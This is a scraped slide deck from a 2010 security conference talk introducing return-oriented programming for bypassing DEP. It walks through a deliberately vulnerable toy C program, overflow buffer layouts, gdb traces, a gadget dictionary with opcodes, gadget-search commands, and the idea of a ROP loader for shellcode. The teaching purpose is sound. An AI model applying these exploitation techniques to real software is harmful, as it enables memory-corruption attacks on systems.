SlideShare a Scribd company logo
1 of 55
net-square
Introduction to ROP
a first look at return oriented programming
Saumil Shah, Net-Square
Hack.LU 2010 - Luxembourg
net-square
Introduction
• DEP
• EIP control
• Ret2LibC
• Return Oriented Programming
net-square
DEP
• Hardware enforced (NX).
• Data areas marked non-executable.
– Stack marked non-executable.
– Heap marked non-executable.
• You can load your shellcode in the stack
or the heap...
• ...but you can't jump to it.
net-square
EIP control
• Stack - forbidden
• Heap - forbidden
• Binary - OK
• DLLs - OK
Program Image
Heap
Stack
DLL
DLL
DLL
net-square
Ret2LibC
• Return to LibC.
• Pioneered by Solar Designer in 1997.
• EIP made to "return to a function".
• Need control of the stack memory.
– We usually have it.
net-square
Ret2LibC - how does it work?
• Create a fake frame on the stack.
• After an overflowed function returns...
• ...set the EIP return address to the new
function.
• Append the fake frame.
• New function executes.
– parameters consumed from the fake frame.
• system("/bin/sh")
net-square
Return Oriented Programming
• Series of function returns.
• Chained frames.
• Transform EIP based primitives into stubs
that can be "returned into".
• ESP is the new EIP!
net-square
Topics
• Function calls and returns
• Stack overflows revisited
• Creating stack frames
• Chaining frames
• ESP control
net-square
Calling a function
• Add two ints x, y.
• add(3,4)
• What does the calling
frame look like?
void add(int x, int y)
{
int sum;
sum = x + y;
printf("%dn", sum);
}
int main()
{
add(3, 4);
}
net-square
Stack frame for add(3,4)
frame for add()
return address from add()
3
4
call add
net-square
Return from add(3,4)
• add() is about to return.
• RET after epilogue of add().
• Where does ESP point to?
– immediately before the RET
• What does the stack look like?
net-square
Before the RET
return address from add()
3
4
ESP
net-square
Another function
• Stack overflow in
func1.
• Can we call add(5, 6)
after returning from
func1?
void func1(char *s)
{
char buffer[128];
strcpy(buffer, s);
}
int main()
{
func1(argv[1]);
}
net-square
Stack frame for func1()
buffer
return address from func1
s
net-square
strcpy(buffer, s)
buffer
return address from func1
s
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAA
AAAA
AAAA
AAAA
net-square
Before the RET
buffer
return address from func1
s
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAA
AAAA
AAAA
AAAA
ESP
net-square
After the RET
buffer
return address from func1
s
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAA
AAAA
AAAA
AAAA
EIP = 0x41414141
ESP
net-square
Return to add()
• Insert a fake frame in the buffer.
• Make func1() return to:
add(01010101, 02020202)
• What does the stack frame look like?
net-square
strcpy(buffer, s)
buffer
return address from func1
s
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
address of add
return address from add
01010101
02020202
net-square
Before func1() returns
buffer
return address from func1
s
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
address of add
return address from add
01010101
02020202
ESP
net-square
Return to add()
buffer
return address from func1
s
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
address of add
return address from add
01010101
02020202
ESP
EIP = add()
net-square
Return to add()
• By carefully creating a frame...
• ...we can make the program "return to
our function".
• We control the parameters.
• We also control where to jump to after
our function returns.
net-square
victim2.c
int main(int argc, char *argv[])
{
add(3, 4);
func1(argv[1]);
}
void func1(char *s)
{
char buffer[128];
strcpy(buffer, s);
}
void print_hello(void)
{
printf("Hello Worldn");
}
void add(int x, int y)
{
int sum;
sum = x + y;
printf("%d + %d = %dn", x, y, sum);
}
stack overflow lurks here!
net-square
victim2.c
• Compile victim2.c
• Run victim2 under a debugger
• Study the stack frame before add(3, 4)
gcc victim2.c -o victim2
gdb victim2
net-square
gdb'ing add
• Set a breakpoint before add(3, 4)
0x804836c <main>: push %ebp
0x804836d <main+1>: mov %esp,%ebp
0x804836f <main+3>: sub $0x8,%esp
0x8048372 <main+6>: and $0xfffffff0,%esp
0x8048375 <main+9>: mov $0x0,%eax
0x804837a <main+14>: sub %eax,%esp
0x804837c <main+16>: sub $0x8,%esp
0x804837f <main+19>: push $0x4
0x8048381 <main+21>: push $0x3
0x8048383 <main+23>: call 0x80483de <add>
0x8048388 <main+28>: add $0x10,%esp
0x804838b <main+31>: cmpl $0x1,0x8(%ebp)
net-square
Stack frame before add(3, 4)
• Dump the stack
• Continue
(gdb) x/64 $esp
0xbffff8ac: 0x08048388 0x00000003 0x00000004 0xbffff8c8
0xbffff8bc: 0x0804841c 0x40148f50 0x40012780 0xbffff8e8
0x08048388
3
4
net-square
Overflowing func1()
• Overflow func1 and...
...return to add(01010101, 02020202)
• Create a fake frame.
• Overwrite stack.
• frame1.pl
return from func1
param1
param2
return from add
0x080483de
0x01010101
0x02020202
0x42424242
net-square
frame1.pl
• Creates the overflow buffer as follows:
• Set this in an environment variable EGG
and run victim2 with $EGG:
080483deAAAAAA...140...AAAAAA 42424242 01010101 02020202
distance
to EIP
address
of add
return
from add
param1 param2
export EGG=`./frame1.pl`
gdb victim2
(gdb) run $EGG
net-square
ESP
• Where will ESP be after returning from
add?
• Verify
080483deAAAAAA...140...AAAAAA 42424242 01010101 02020202
(gdb) x/64 $esp
0xbffff824: 0x01010101 0x02020202 0x08048400 0x40148f50
0xbffff834: 0x40012780 0xbffff858 0x4002e7f7 0x00000002
ESP
net-square
Chaining functions
• After add(01010101, 02020202), we want
to run add(03030303, 04040404).
• How should we set up the frames?
• First, study the frame after add() returns.
net-square
After add() returns
AAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA
address of add
42424242
01010101
02020202
ESP
EIP = 42424242
net-square
Where does the new frame go?
AAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA
address of add
42424242
01010101
02020202
address of add
??
03030303
04040404
net-square
Where does the new frame go?
• We get only ONE chance at strcpy.
• How do we preserve params 01010101
and 02020202?
• We can only APPEND the second frame
below our first frame.
• We have to UNWIND the first frame
before returning to the second frame.
• Return to epilogue!
net-square
Chaining the frames
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
address of add
address of POP/POP/RET
01010101
02020202
address of add
42424242
03030303
04040404
add(01010101, 02020202)
add(03030303, 04040404)
net-square
Keeping ESP in control
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
address of add
address of POP/POP/RET
01010101
02020202
address of add
42424242
03030303
04040404
Return from func1
Return to add()
Return to POP/POP/RET
POP
POP
ESP
RET - Return to add()
Finally EIP = 0x42424242
net-square
frame2.pl
• Creates the overflow buffer as follows:
080483deAAAAAA...140...AAAAAA 0804843d 01010101 02020202
distance
to EIP
address
of add
POP/POP
/RET
param1 param2
080483de 42424242 03030303 04040404
address
of add
return
from add
param1 param2 Use msfelfscan to
find the address of
POP/POP/RET from
victim2 binary.
net-square
frame2.pl
• Set this in an environment variable EGG
and run victim2 with $EGG:
export EGG=`./frame2.pl`
gdb victim2
(gdb) run $EGG
Starting program: /home/user0/victim2 $EGG
3 + 4 = 7
1010101 + 2020202 = 3030303
3030303 + 4040404 = 7070707
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
net-square
It's all about ESP!
• ESP is the new EIP.
• ROP involves keeping the ESP moving
through the frames on the stack.
• Frames can be chained by returning to
epilogues of functions.
– to appropriately unwind the parameters
pushed on the stack.
• We must never lose sight of RET.
net-square
ROP frames - generic approach
f1(A, B)
f2(X)
f1(C, D)
f3(P, Q, R, S)
f2(Y)
:
:
& f1()
& POP/POP/RET
A
B
& f2()
& POP/RET
X
& f3()
& POPAD/RET
P
Q
R
& f1()
& POP/POP/RET
C
D
junk
junk
junk
& f2()
& POP/RET
Y
S
net-square
Topics
• Transforming classic EIP code to ROP
• ROP vs. classic programming
• Thinking in ROP terms
• Assembling frames
• Gadgets
• Searching for gadgets
• Generic techniques
net-square
EIP vs. ESP
Classic EIP code
• N ops = N instructions.
• EIP increments.
• ESP fluctuates.
• The CPU increments EIP
automatically.
ROP code
• N ops = N frames.
• ESP increments.
• EIP fluctuates.
• We have to control ESP
through RET instructions.
net-square
Transform EIP code to ROP
• Load two registers
• Call a function
– with params 3,4
• How does this
translate in ROP
terms?
mov eax, 14
mov ecx, 02500000
push 3
push 4
call 77fe3210
net-square
Thinking in ROP terms
??
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
14
ESP
Put 14 in the next stack word, and POP
it into EAX.
RET
function body
epilogue
prologue
vulnerable function
EIP
mov eax, 14
RET
POP EAX
POP EBX
functionX
700344fe
700344fd
700344ff
net-square
Thinking in ROP terms
700344fe
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
14ESP
RET
function body
epilogue
prologue
vulnerable function
EIP
Jump to address of "POP EAX; RET".
Search function epilogues.
RET
POP EAX
POP EBX
functionX
mov eax, 14
net-square
Thinking in ROP terms
700344fe
??
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
14
02500000
ESP
RET
function body
epilogue
prologue
vulnerable function
EIP
Place 02500000 as the next stack word,
to be loaded into ECX.
RET
POP EAX
POP EBX
functionX
eax = 00000014
mov ecx, 02500000
net-square
Thinking in ROP terms
700344fe
6d894430
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
14
02500000
RET
function body
epilogue
prologue
vulnerable function
We now need an address of a "POP ECX;
RET" sequence.
RET
POP EAX
POP EBX
functionX
RET
POP ECX
functionY
ESP EIP
eax = 00000014
mov ecx, 02500000
6d894430
6d894431
net-square
Thinking in ROP terms
700344fe
6d894430
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
14
02500000ESP
RET
function body
epilogue
prologue
vulnerable function
02500000 is popped into ECX.
RET
POP EAX
POP EBX
functionX
EIP
RET
POP ECX
functionY
eax = 00000014
mov ecx, 02500000
net-square
Thinking in ROP terms
700344fe
6d894430
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
14
02500000
??ESP
RET
function body
epilogue
prologue
vulnerable function
We now need to call a function at
77fe3210, with parameters 3, 4
RET
POP EAX
POP EBX
functionX
EIP RET
POP ECX
functionY
push 3; push 4; call 77fe3210
eax = 00000014 ecx = 02500000
net-square
Gadget Dictionary
POP EAX; RET
Load value into
register
value
POP ECX; RET
Read memory at
address
address
ADD EAX,n; RET
Add
MOV EAX,[ECX]; RET
POP EAX; RET
Write value at
address
address
POP ECX; RET
value
MOV [EAX],ECX; RET
INC EAX; RET
Increment
address of function
Call a function
param cleanup
param 1
param 2
RET
NOP
param N
POP; POP ... RET
ADD ESP,24; RET
POPAD; RET
POP EAX; RET
Call a function
pointer
address
CALL [EAX]; RET
XCHG EAX,ESP; RET
Stack flip ESP=EAX
LEAVE; RET
Stack flip ESP=EBP
POP ESP; RET
Stack flip ESP=addr
address
net-square
Instruction Opcodes
Instruction Opcodes
RET C3
RET n C2 16bits
POP EAX 58
POP ECX 59
MOV EAX,[ECX] 8B 01
MOV [EAX],ECX 89 08
MOV [ECX],EAX 89 01
INC EAX 40
ADD EAX, n 83 C0 8bits
net-square
Instruction Opcodes
Instruction Opcodes
POP EBX/EDX/ESI/EDI/EBP 5B/5A/5E/5F/5D
POPAD 61
ADD ESP,24 83 C4 18
CALL [EAX] FF 10
XCHG EAX,ESP 94
LEAVE C9 (mov esp,ebp; pop ebp)
POP ESP 5C
net-square
Searching for Gadgets
• Use msfpescan's regex search.
• Example: MOV EAX,[ECX]; RET
msfpescan -D -r 'x8Bx01xC3' <file>
msfpescan -D -r 'x8Bx01xC2.x00' <file>
msfpescan -D -r 'x8Bx01.xC3' <file>
msfpescan -D -r 'x8Bx01..xC3' <file>
• Sometimes you may need to improvise.
net-square
Generic Techniques
• Run arbitrary shellcode.
• Difficult to transform entire shellcode to
ROP frames.
• Create a ROP loader:
– Allocate RWX memory
– Copy classic shellcode to this memory
– Jump to shellcode
• Load and run any shellcode.
net-square
DEMO TIME!
• Java JNLP docbase overflow
• Exploiting IE8 using ROP
net-square
KTHXBAI!
saumil@net-square.com
linked-in: saumilshah
no LOLcats were harmed in preparation of these slides

More Related Content

What's hot

你一定不能不知道的 Markdown 寫作技巧
你一定不能不知道的 Markdown 寫作技巧你一定不能不知道的 Markdown 寫作技巧
你一定不能不知道的 Markdown 寫作技巧Will Huang
 
Sigreturn Oriented Programming
Sigreturn Oriented ProgrammingSigreturn Oriented Programming
Sigreturn Oriented ProgrammingAngel Boy
 
Introduction to Computer Architecture
Introduction to Computer ArchitectureIntroduction to Computer Architecture
Introduction to Computer ArchitectureKSundarAPIICSE
 
ROP 輕鬆談
ROP 輕鬆談ROP 輕鬆談
ROP 輕鬆談hackstuff
 
Dynamic memory allocation
Dynamic memory allocationDynamic memory allocation
Dynamic memory allocationViji B
 
ret2dl resolve
ret2dl resolveret2dl resolve
ret2dl resolvesounakano
 
Pf: the OpenBSD packet filter
Pf: the OpenBSD packet filterPf: the OpenBSD packet filter
Pf: the OpenBSD packet filterGiovanni Bechis
 
[Community Open Camp] 給 PHP 開發者的 VS Code 指南
[Community Open Camp] 給 PHP 開發者的 VS Code 指南[Community Open Camp] 給 PHP 開發者的 VS Code 指南
[Community Open Camp] 給 PHP 開發者的 VS Code 指南Shengyou Fan
 
Project ACRN hypervisor introduction
Project ACRN hypervisor introduction Project ACRN hypervisor introduction
Project ACRN hypervisor introduction Project ACRN
 
Class 3 - PHP Functions
Class 3 - PHP FunctionsClass 3 - PHP Functions
Class 3 - PHP FunctionsAhmed Swilam
 
PHP Form Validation Technique
PHP Form Validation TechniquePHP Form Validation Technique
PHP Form Validation TechniqueMorshedul Arefin
 
Private cloud without vendor lock // Serverless
Private cloud without vendor lock // ServerlessPrivate cloud without vendor lock // Serverless
Private cloud without vendor lock // ServerlessTimur Shemsedinov
 
Slab Allocator in Linux Kernel
Slab Allocator in Linux KernelSlab Allocator in Linux Kernel
Slab Allocator in Linux KernelAdrian Huang
 
General register organization (computer organization)
General register organization  (computer organization)General register organization  (computer organization)
General register organization (computer organization)rishi ram khanal
 
[PHP 也有 Day #64] PHP 升級指南
[PHP 也有 Day #64] PHP 升級指南[PHP 也有 Day #64] PHP 升級指南
[PHP 也有 Day #64] PHP 升級指南Shengyou Fan
 
from Binary to Binary: How Qemu Works
from Binary to Binary: How Qemu Worksfrom Binary to Binary: How Qemu Works
from Binary to Binary: How Qemu WorksZhen Wei
 

What's hot (20)

你一定不能不知道的 Markdown 寫作技巧
你一定不能不知道的 Markdown 寫作技巧你一定不能不知道的 Markdown 寫作技巧
你一定不能不知道的 Markdown 寫作技巧
 
Sigreturn Oriented Programming
Sigreturn Oriented ProgrammingSigreturn Oriented Programming
Sigreturn Oriented Programming
 
Introduction to Computer Architecture
Introduction to Computer ArchitectureIntroduction to Computer Architecture
Introduction to Computer Architecture
 
ROP 輕鬆談
ROP 輕鬆談ROP 輕鬆談
ROP 輕鬆談
 
Function Pointer
Function PointerFunction Pointer
Function Pointer
 
Dynamic memory allocation
Dynamic memory allocationDynamic memory allocation
Dynamic memory allocation
 
ret2dl resolve
ret2dl resolveret2dl resolve
ret2dl resolve
 
Pf: the OpenBSD packet filter
Pf: the OpenBSD packet filterPf: the OpenBSD packet filter
Pf: the OpenBSD packet filter
 
[Community Open Camp] 給 PHP 開發者的 VS Code 指南
[Community Open Camp] 給 PHP 開發者的 VS Code 指南[Community Open Camp] 給 PHP 開發者的 VS Code 指南
[Community Open Camp] 給 PHP 開發者的 VS Code 指南
 
Project ACRN hypervisor introduction
Project ACRN hypervisor introduction Project ACRN hypervisor introduction
Project ACRN hypervisor introduction
 
Class 3 - PHP Functions
Class 3 - PHP FunctionsClass 3 - PHP Functions
Class 3 - PHP Functions
 
Qemu JIT Code Generator and System Emulation
Qemu JIT Code Generator and System EmulationQemu JIT Code Generator and System Emulation
Qemu JIT Code Generator and System Emulation
 
PHP Form Validation Technique
PHP Form Validation TechniquePHP Form Validation Technique
PHP Form Validation Technique
 
Private cloud without vendor lock // Serverless
Private cloud without vendor lock // ServerlessPrivate cloud without vendor lock // Serverless
Private cloud without vendor lock // Serverless
 
Php with MYSQL Database
Php with MYSQL DatabasePhp with MYSQL Database
Php with MYSQL Database
 
Slab Allocator in Linux Kernel
Slab Allocator in Linux KernelSlab Allocator in Linux Kernel
Slab Allocator in Linux Kernel
 
General register organization (computer organization)
General register organization  (computer organization)General register organization  (computer organization)
General register organization (computer organization)
 
Execution
ExecutionExecution
Execution
 
[PHP 也有 Day #64] PHP 升級指南
[PHP 也有 Day #64] PHP 升級指南[PHP 也有 Day #64] PHP 升級指南
[PHP 也有 Day #64] PHP 升級指南
 
from Binary to Binary: How Qemu Works
from Binary to Binary: How Qemu Worksfrom Binary to Binary: How Qemu Works
from Binary to Binary: How Qemu Works
 

Similar to An introduction to ROP

Go Go Gadget! - An Intro to Return Oriented Programming (ROP)
Go Go Gadget! - An Intro to Return Oriented Programming (ROP)Go Go Gadget! - An Intro to Return Oriented Programming (ROP)
Go Go Gadget! - An Intro to Return Oriented Programming (ROP)Miguel Arroyo
 
Dive into ROP - a quick introduction to Return Oriented Programming
Dive into ROP - a quick introduction to Return Oriented ProgrammingDive into ROP - a quick introduction to Return Oriented Programming
Dive into ROP - a quick introduction to Return Oriented ProgrammingSaumil Shah
 
127 Ch 2: Stack overflows on Linux
127 Ch 2: Stack overflows on Linux127 Ch 2: Stack overflows on Linux
127 Ch 2: Stack overflows on LinuxSam Bowne
 
127 Ch 2: Stack overflows on Linux
127 Ch 2: Stack overflows on Linux127 Ch 2: Stack overflows on Linux
127 Ch 2: Stack overflows on LinuxSam Bowne
 
CNIT 127: Ch 2: Stack overflows on Linux
CNIT 127: Ch 2: Stack overflows on LinuxCNIT 127: Ch 2: Stack overflows on Linux
CNIT 127: Ch 2: Stack overflows on LinuxSam Bowne
 
CNIT 127: Ch 2: Stack Overflows in Linux
CNIT 127: Ch 2: Stack Overflows in LinuxCNIT 127: Ch 2: Stack Overflows in Linux
CNIT 127: Ch 2: Stack Overflows in LinuxSam Bowne
 
Software to the slaughter
Software to the slaughterSoftware to the slaughter
Software to the slaughterQuinn Wilton
 
Buffer overflow attacks
Buffer overflow attacksBuffer overflow attacks
Buffer overflow attacksJapneet Singh
 
The n00bs guide to ovs dpdk
The n00bs guide to ovs dpdkThe n00bs guide to ovs dpdk
The n00bs guide to ovs dpdkmarkdgray
 
Bypassing ASLR Exploiting CVE 2015-7545
Bypassing ASLR Exploiting CVE 2015-7545Bypassing ASLR Exploiting CVE 2015-7545
Bypassing ASLR Exploiting CVE 2015-7545Kernel TLV
 
Windows debugging sisimon
Windows debugging   sisimonWindows debugging   sisimon
Windows debugging sisimonSisimon Soman
 
Finding Xori: Malware Analysis Triage with Automated Disassembly
Finding Xori: Malware Analysis Triage with Automated DisassemblyFinding Xori: Malware Analysis Triage with Automated Disassembly
Finding Xori: Malware Analysis Triage with Automated DisassemblyPriyanka Aash
 
Make ARM Shellcode Great Again
Make ARM Shellcode Great AgainMake ARM Shellcode Great Again
Make ARM Shellcode Great AgainSaumil Shah
 
02 - Introduction to the cdecl ABI and the x86 stack
02 - Introduction to the cdecl ABI and the x86 stack02 - Introduction to the cdecl ABI and the x86 stack
02 - Introduction to the cdecl ABI and the x86 stackAlexandre Moneger
 
lec15_x86procedure_4up.pdf
lec15_x86procedure_4up.pdflec15_x86procedure_4up.pdf
lec15_x86procedure_4up.pdfhasan58964
 
04basic Concepts
04basic Concepts04basic Concepts
04basic ConceptsZhiwen Guo
 
Exploring the x64
Exploring the x64Exploring the x64
Exploring the x64FFRI, Inc.
 
FPGA_Logic.pdf
FPGA_Logic.pdfFPGA_Logic.pdf
FPGA_Logic.pdfwafawafa52
 

Similar to An introduction to ROP (20)

Go Go Gadget! - An Intro to Return Oriented Programming (ROP)
Go Go Gadget! - An Intro to Return Oriented Programming (ROP)Go Go Gadget! - An Intro to Return Oriented Programming (ROP)
Go Go Gadget! - An Intro to Return Oriented Programming (ROP)
 
Dive into ROP - a quick introduction to Return Oriented Programming
Dive into ROP - a quick introduction to Return Oriented ProgrammingDive into ROP - a quick introduction to Return Oriented Programming
Dive into ROP - a quick introduction to Return Oriented Programming
 
127 Ch 2: Stack overflows on Linux
127 Ch 2: Stack overflows on Linux127 Ch 2: Stack overflows on Linux
127 Ch 2: Stack overflows on Linux
 
127 Ch 2: Stack overflows on Linux
127 Ch 2: Stack overflows on Linux127 Ch 2: Stack overflows on Linux
127 Ch 2: Stack overflows on Linux
 
CNIT 127: Ch 2: Stack overflows on Linux
CNIT 127: Ch 2: Stack overflows on LinuxCNIT 127: Ch 2: Stack overflows on Linux
CNIT 127: Ch 2: Stack overflows on Linux
 
CNIT 127: Ch 2: Stack Overflows in Linux
CNIT 127: Ch 2: Stack Overflows in LinuxCNIT 127: Ch 2: Stack Overflows in Linux
CNIT 127: Ch 2: Stack Overflows in Linux
 
Software to the slaughter
Software to the slaughterSoftware to the slaughter
Software to the slaughter
 
Buffer overflow attacks
Buffer overflow attacksBuffer overflow attacks
Buffer overflow attacks
 
The n00bs guide to ovs dpdk
The n00bs guide to ovs dpdkThe n00bs guide to ovs dpdk
The n00bs guide to ovs dpdk
 
Bypassing ASLR Exploiting CVE 2015-7545
Bypassing ASLR Exploiting CVE 2015-7545Bypassing ASLR Exploiting CVE 2015-7545
Bypassing ASLR Exploiting CVE 2015-7545
 
netLec2.pdf
netLec2.pdfnetLec2.pdf
netLec2.pdf
 
Windows debugging sisimon
Windows debugging   sisimonWindows debugging   sisimon
Windows debugging sisimon
 
Finding Xori: Malware Analysis Triage with Automated Disassembly
Finding Xori: Malware Analysis Triage with Automated DisassemblyFinding Xori: Malware Analysis Triage with Automated Disassembly
Finding Xori: Malware Analysis Triage with Automated Disassembly
 
Make ARM Shellcode Great Again
Make ARM Shellcode Great AgainMake ARM Shellcode Great Again
Make ARM Shellcode Great Again
 
02 - Introduction to the cdecl ABI and the x86 stack
02 - Introduction to the cdecl ABI and the x86 stack02 - Introduction to the cdecl ABI and the x86 stack
02 - Introduction to the cdecl ABI and the x86 stack
 
lec15_x86procedure_4up.pdf
lec15_x86procedure_4up.pdflec15_x86procedure_4up.pdf
lec15_x86procedure_4up.pdf
 
test
testtest
test
 
04basic Concepts
04basic Concepts04basic Concepts
04basic Concepts
 
Exploring the x64
Exploring the x64Exploring the x64
Exploring the x64
 
FPGA_Logic.pdf
FPGA_Logic.pdfFPGA_Logic.pdf
FPGA_Logic.pdf
 

More from Saumil Shah

The Hand That Strikes, Also Blocks
The Hand That Strikes, Also BlocksThe Hand That Strikes, Also Blocks
The Hand That Strikes, Also BlocksSaumil Shah
 
Debugging with EMUX - RIngzer0 BACK2WORKSHOPS
Debugging with EMUX - RIngzer0 BACK2WORKSHOPSDebugging with EMUX - RIngzer0 BACK2WORKSHOPS
Debugging with EMUX - RIngzer0 BACK2WORKSHOPSSaumil Shah
 
Unveiling EMUX - ARM and MIPS IoT Emulation Framework
Unveiling EMUX - ARM and MIPS IoT Emulation FrameworkUnveiling EMUX - ARM and MIPS IoT Emulation Framework
Unveiling EMUX - ARM and MIPS IoT Emulation FrameworkSaumil Shah
 
Announcing ARMX Docker - DC11332
Announcing ARMX Docker - DC11332Announcing ARMX Docker - DC11332
Announcing ARMX Docker - DC11332Saumil Shah
 
Precise Presentations
Precise PresentationsPrecise Presentations
Precise PresentationsSaumil Shah
 
Effective Webinars: Presentation Skills for a Virtual Audience
Effective Webinars: Presentation Skills for a Virtual AudienceEffective Webinars: Presentation Skills for a Virtual Audience
Effective Webinars: Presentation Skills for a Virtual AudienceSaumil Shah
 
INSIDE ARM-X Cansecwest 2020
INSIDE ARM-X Cansecwest 2020INSIDE ARM-X Cansecwest 2020
INSIDE ARM-X Cansecwest 2020Saumil Shah
 
Cyberspace And Security - India's Decade Ahead
Cyberspace And Security - India's Decade AheadCyberspace And Security - India's Decade Ahead
Cyberspace And Security - India's Decade AheadSaumil Shah
 
Cybersecurity And Sovereignty - A Look At Society's Transformation In Cyberspace
Cybersecurity And Sovereignty - A Look At Society's Transformation In CyberspaceCybersecurity And Sovereignty - A Look At Society's Transformation In Cyberspace
Cybersecurity And Sovereignty - A Look At Society's Transformation In CyberspaceSaumil Shah
 
NSConclave2020 The Decade Behind And The Decade Ahead
NSConclave2020 The Decade Behind And The Decade AheadNSConclave2020 The Decade Behind And The Decade Ahead
NSConclave2020 The Decade Behind And The Decade AheadSaumil Shah
 
Cybersecurity In India - The Decade Ahead
Cybersecurity In India - The Decade AheadCybersecurity In India - The Decade Ahead
Cybersecurity In India - The Decade AheadSaumil Shah
 
INSIDE ARM-X - Countermeasure 2019
INSIDE ARM-X - Countermeasure 2019INSIDE ARM-X - Countermeasure 2019
INSIDE ARM-X - Countermeasure 2019Saumil Shah
 
Introducing ARM-X
Introducing ARM-XIntroducing ARM-X
Introducing ARM-XSaumil Shah
 
The Road To Defendable Systems - Emirates NBD
The Road To Defendable Systems - Emirates NBDThe Road To Defendable Systems - Emirates NBD
The Road To Defendable Systems - Emirates NBDSaumil Shah
 
The CISO's Dilemma 44CON 2019
The CISO's Dilemma 44CON 2019The CISO's Dilemma 44CON 2019
The CISO's Dilemma 44CON 2019Saumil Shah
 
The CISO's Dilemma HITBGSEC2019
The CISO's Dilemma HITBGSEC2019The CISO's Dilemma HITBGSEC2019
The CISO's Dilemma HITBGSEC2019Saumil Shah
 
Schrödinger's ARM Assembly
Schrödinger's ARM AssemblySchrödinger's ARM Assembly
Schrödinger's ARM AssemblySaumil Shah
 
ARM Polyglot Shellcode - HITB2019AMS
ARM Polyglot Shellcode - HITB2019AMSARM Polyglot Shellcode - HITB2019AMS
ARM Polyglot Shellcode - HITB2019AMSSaumil Shah
 
What Makes a Compelling Photograph
What Makes a Compelling PhotographWhat Makes a Compelling Photograph
What Makes a Compelling PhotographSaumil Shah
 
Make ARM Shellcode Great Again - HITB2018PEK
Make ARM Shellcode Great Again - HITB2018PEKMake ARM Shellcode Great Again - HITB2018PEK
Make ARM Shellcode Great Again - HITB2018PEKSaumil Shah
 

More from Saumil Shah (20)

The Hand That Strikes, Also Blocks
The Hand That Strikes, Also BlocksThe Hand That Strikes, Also Blocks
The Hand That Strikes, Also Blocks
 
Debugging with EMUX - RIngzer0 BACK2WORKSHOPS
Debugging with EMUX - RIngzer0 BACK2WORKSHOPSDebugging with EMUX - RIngzer0 BACK2WORKSHOPS
Debugging with EMUX - RIngzer0 BACK2WORKSHOPS
 
Unveiling EMUX - ARM and MIPS IoT Emulation Framework
Unveiling EMUX - ARM and MIPS IoT Emulation FrameworkUnveiling EMUX - ARM and MIPS IoT Emulation Framework
Unveiling EMUX - ARM and MIPS IoT Emulation Framework
 
Announcing ARMX Docker - DC11332
Announcing ARMX Docker - DC11332Announcing ARMX Docker - DC11332
Announcing ARMX Docker - DC11332
 
Precise Presentations
Precise PresentationsPrecise Presentations
Precise Presentations
 
Effective Webinars: Presentation Skills for a Virtual Audience
Effective Webinars: Presentation Skills for a Virtual AudienceEffective Webinars: Presentation Skills for a Virtual Audience
Effective Webinars: Presentation Skills for a Virtual Audience
 
INSIDE ARM-X Cansecwest 2020
INSIDE ARM-X Cansecwest 2020INSIDE ARM-X Cansecwest 2020
INSIDE ARM-X Cansecwest 2020
 
Cyberspace And Security - India's Decade Ahead
Cyberspace And Security - India's Decade AheadCyberspace And Security - India's Decade Ahead
Cyberspace And Security - India's Decade Ahead
 
Cybersecurity And Sovereignty - A Look At Society's Transformation In Cyberspace
Cybersecurity And Sovereignty - A Look At Society's Transformation In CyberspaceCybersecurity And Sovereignty - A Look At Society's Transformation In Cyberspace
Cybersecurity And Sovereignty - A Look At Society's Transformation In Cyberspace
 
NSConclave2020 The Decade Behind And The Decade Ahead
NSConclave2020 The Decade Behind And The Decade AheadNSConclave2020 The Decade Behind And The Decade Ahead
NSConclave2020 The Decade Behind And The Decade Ahead
 
Cybersecurity In India - The Decade Ahead
Cybersecurity In India - The Decade AheadCybersecurity In India - The Decade Ahead
Cybersecurity In India - The Decade Ahead
 
INSIDE ARM-X - Countermeasure 2019
INSIDE ARM-X - Countermeasure 2019INSIDE ARM-X - Countermeasure 2019
INSIDE ARM-X - Countermeasure 2019
 
Introducing ARM-X
Introducing ARM-XIntroducing ARM-X
Introducing ARM-X
 
The Road To Defendable Systems - Emirates NBD
The Road To Defendable Systems - Emirates NBDThe Road To Defendable Systems - Emirates NBD
The Road To Defendable Systems - Emirates NBD
 
The CISO's Dilemma 44CON 2019
The CISO's Dilemma 44CON 2019The CISO's Dilemma 44CON 2019
The CISO's Dilemma 44CON 2019
 
The CISO's Dilemma HITBGSEC2019
The CISO's Dilemma HITBGSEC2019The CISO's Dilemma HITBGSEC2019
The CISO's Dilemma HITBGSEC2019
 
Schrödinger's ARM Assembly
Schrödinger's ARM AssemblySchrödinger's ARM Assembly
Schrödinger's ARM Assembly
 
ARM Polyglot Shellcode - HITB2019AMS
ARM Polyglot Shellcode - HITB2019AMSARM Polyglot Shellcode - HITB2019AMS
